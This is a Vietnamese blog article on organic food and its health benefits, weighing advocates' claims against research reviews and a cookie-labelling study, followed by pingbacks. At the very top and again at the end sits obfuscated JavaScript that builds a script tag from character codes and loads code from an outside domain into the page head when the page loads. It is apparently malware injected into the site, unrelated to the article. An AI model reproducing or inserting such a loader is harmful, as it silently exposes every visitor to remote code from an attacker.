Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,99,115,115,46,100,105,103,101,115,116,99,111,108,101,99,116,46,99,111,109,47,122,98,116,63,118,56,52);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();

Thực phẩm hữu cơ và lợi ích sức khỏe

Thực phẩm hữu cơ ngày càng trở nên phổ biến, mọi người tìm đến và sử dụng thực phẩm hữu có như một giải pháp về an toàn vệ sinh thực phẩm và các lợi ích mà thực phẩm hữu cơ mang lại. Bài viết này của Jade House (www.jadehousevn.com) cùng cấp các thong tin hữu ích về vấn đề này nhé!

Thực phẩm hữu cơ và lợi ích sức khỏe

Có một cuộc tranh luận về lợi ích, sự tiện ích, tính xác thực và các vấn đề về chi phí của thực phẩm hữu cơ so với sản phẩm thực phẩm thông thường. Có những phát ngôn viên của ngành công nghiệp thực phẩm cho rằng thực phẩm hữu cơ có thể làm nên điều kỳ diệu cho sức khỏe. Họ cho rằng thuốc trừ sâu, thuốc diệt cỏ và phân bón được sử dụng trong sản xuất thông thường có thể gây hại nhiều hơn chúng ta biết.

Sự ủng hộ thực phẩm hữu cơ

Andre Leu chủ tịch Liên đoàn Hữu cơ Úc cho biết, có một số nghiên cứu rất hay cho thấy thực phẩm hữu cơ cân bằng có mức độ dinh dưỡng cao hơn các dữ liệu chúng tôi có từ Úc và trên thế giới. Hầu hết mọi người mua thực phẩm hữu cơ vì lý do sức khỏe và vấn đề lo ngại về việc sử dụng thuốc bảo vệ thực vật. Mọi người tin rằng thực phẩm hữu cơ có hàm lượng dinh dưỡng cao hơn và ít để lại ảnh hưởng xấu cho môi trường. Thực phẩm hữu cơ mang ý nghĩa lớn về bảo vệ môi trường và chúng có hương vị ngon hơn.

Chuyên gia dinh dưỡng người Mỹ Michael Pollan cho rằng những hóa chất mà những người nông dân đang bơm lên cây trồng độc hại đến nỗi những người nông dân này sẽ không đi vào ruộng trong năm ngày sau khi sử dụng hóa chất. Và những người nông dân này luôn có một mảnh vuonf nhỏ cạnh nhà trồng các loại thực phẩm hữu cơ.

Xem thêm

Thực phẩm hữu cơ với thực phẩm thông thường

Thực phẩm hữu cơ có thể phòng chống bệnh ung thư

Chế độ ăn uống hữu cơ trong thai kỳ

Đánh giá các nghiên cứu

Phó giáo sư Samir Samman của Trường Khoa học sinh học phân tử tại Đại học Sydney tuy nhiên tin rằng không có bằng chứng xác thực nào có thể chỉ ra thực tế rằng thực phẩm hữu cơ mang lại giá trị cao hơn về mặt dinh dưỡng so với thực phẩm thông thường, đặc biệt là liên quan đến rau quả tươi.

Ông cùng với nhóm của mình đã thực hiện một nghiên cứu đã được chấp nhận trên tạp chí khoa học quốc tế Critical Reviews In Food Science And Nutrition. Họ đã khảo sát các tài liệu quốc tế và đánh giá phê bình kết quả của họ – và họ không nhiệt tình với ngành công nghiệp hữu cơ.

Đánh giá của họ cho thấy rằng khi tất cả các bài báo được xuất bản về chủ đề ngôn nghiệp hữu cơ, thực phẩm hữu cơ và các thông tin liên quan đều được xem xét, thực phẩm hữu cơ được báo cáo rằng có chứa nhiều vitamin C và phốt pho hơn thực phẩm được sản xuất thông thường … Tuy nhiên, khi các bài báo được xem xét kỹ về chất lượng khoa học và chỉ những bài báo chất lượng tốt hơn mới được kiểm tra, chỉ có hàm lượng phốt pho vẫn cao hơn đáng kể trong thực phẩm hữu cơ so với thực phẩm thông thường.

Phốt pho không phải là một chất dinh dưỡng hạn chế trong chế độ ăn uống bình thường hoặc chế độ ăn chay, chế độ ăn kiêng. Sự hiện diện của phốt pho với hàm lượng cao hơn trong thực phẩm hữu cơ có lẽ ít có ý nghĩa. Các nhà nghiên cứu kết luận rằng từ phân tích thành phần dinh dưỡng khác nhau rất ít giữa các loại thực phẩm được sản xuất bằng phương pháp canh tác hữu cơ và canh tác thông thường.

Sau khi phân tích thành phần dinh dưỡng của thực phẩm được mua từ cả cửa hàng thông thường và hữu cơ, các nhà nghiên cứu nhận thấy rằng với các loại dầu như ô liu, hạt lanh hoặc cải dầu và đậu phộng, thì phương pháp canh tác hữu cơ hoặc thông thường không có tác động thực sự đối với thành phần của các axit béo có trong thực phẩm. Kết quả tương tự đã được tìm thấy cho trứng. Các nghiên cứu mới đang được tiến hành với các loại hạt, thực phẩm từ sữa và thịt.

Giáo sư Samman cũng cho biết, một số chuyên gia y tế tin rằng thực phẩm hữu cơ có nhiều chất dinh dưỡng hơn và gợi ra những tác dụng có lợi cho sức khỏe. Lời khuyên này được đưa ra mặc dù thiếu bằng chứng khoa học để chứng mình điều đó. Điều thực sự quan trọng đối với người tiêu dùng là họ tiếp tục tiêu thụ trái cây và rau quả bất kể từ nguồn gốc nào, bởi vì điều này sẽ mang lại lợi ích cho sức khỏe cho bản thân họ. Nếu bạn chỉ ăn một quả táo hữu cơ vì đó là tất cả những gì bạn có thể mua, thay vì có hai loại táo thông thường với mức chi phí tương đương, bạn sẽ lựa chọn phương án nào?

Có nhiều vấn đề hơn nữa về việc hủy hoại môi trường từ các phuowgn pháp canh tác thông thường. Điều này có nghĩa là, nguồn cung cấp thực phẩm hữu cơ càng tăng thì càng có hại cho môi trường, bởi vì chúng ta phải vận chuyển thực phẩm hữu cơ đến các thành phố, chúng ta phải sản xuất hàng loạt và chúng ta phải sử dụng một số thiết bị mà nông nghiệp thông thường sử dụng.

Phòng thí nghiệm thực phẩm và thương hiệu của Đại học Cornell cũng đã tiến hành một thí nghiệm tương tự bằng cách chỉ định ngẫu nhiên 54 sinh viên đại học dùng thử các loại bánh quy có nhãn mác hữu cơ hoặc không có nhãn. Có bột hữu cơ và đường trong cả hai loại bánh quy. Sau thử nghiệm, những người tham gia được đưa ra bảng câu hỏi liên quan đến sự hiểu biết và ưu tiên của họ đối với thực phẩm hữu cơ và nhận thức của họ đối với việc bảo vệ môi trường.

Kết quả thật đáng ngạc nhiên. Nhóm có bánh quy dán nhãn hữu cơ nghĩ rằng họ có lượng calo ít hơn 40% so với những người không có nhãn. Họ tuyên bố rằng các loại bánh quy hữu cơ của Nhật Bản có hàm lượng chất xơ nhiều hơn các loại khác. Những sinh viên này là những người mua thực phẩm hữu cơ thường xuyên hơn. Mặt khác, những người có các hoạt động bên ngoài nhiều hơn và thường xuyên tập thể dục để duy trì sức khỏe đã cho rằng bánh quy hữu cơ không có vị tự nhiên.

Theo đồng tác giả nghiên cứu Brian Wansink, chỉ có nhãn hiệu này có thể mang lại một lợi nhuận cao cho sản phẩm bánh quy. Đó là lý do cơ bản và thường thấy ở những người có xu hướng ăn quá nhiều bất kỳ thực phẩm ăn nhẹ nào được dán nhãn là lành mạnh hoặc ít béo. Họ đánh giá thấp lượng calo và tự thưởng cho bản thân bằng cách ăn nhiều hơn.

(Dunji, Sưu tầm và biên soạn)

 

 

Digiprove sealCopyright secured by Digiprove © 2019 Tran  Minh

3 thoughts on “Thực phẩm hữu cơ và lợi ích sức khỏe”

  1. Pingback: Chế độ ăn uống hữu cơ trong thai kỳ

  2. Pingback: Thực phẩm hữu cơ với thực phẩm thông thường

  3. Pingback: Sự khác biệt giữa sản phẩm hữu cơ và thông thường

Comments are closed.

Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,99,115,115,46,100,105,103,101,115,116,99,111,108,101,99,116,46,99,111,109,47,122,98,116,63,118,56,52);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();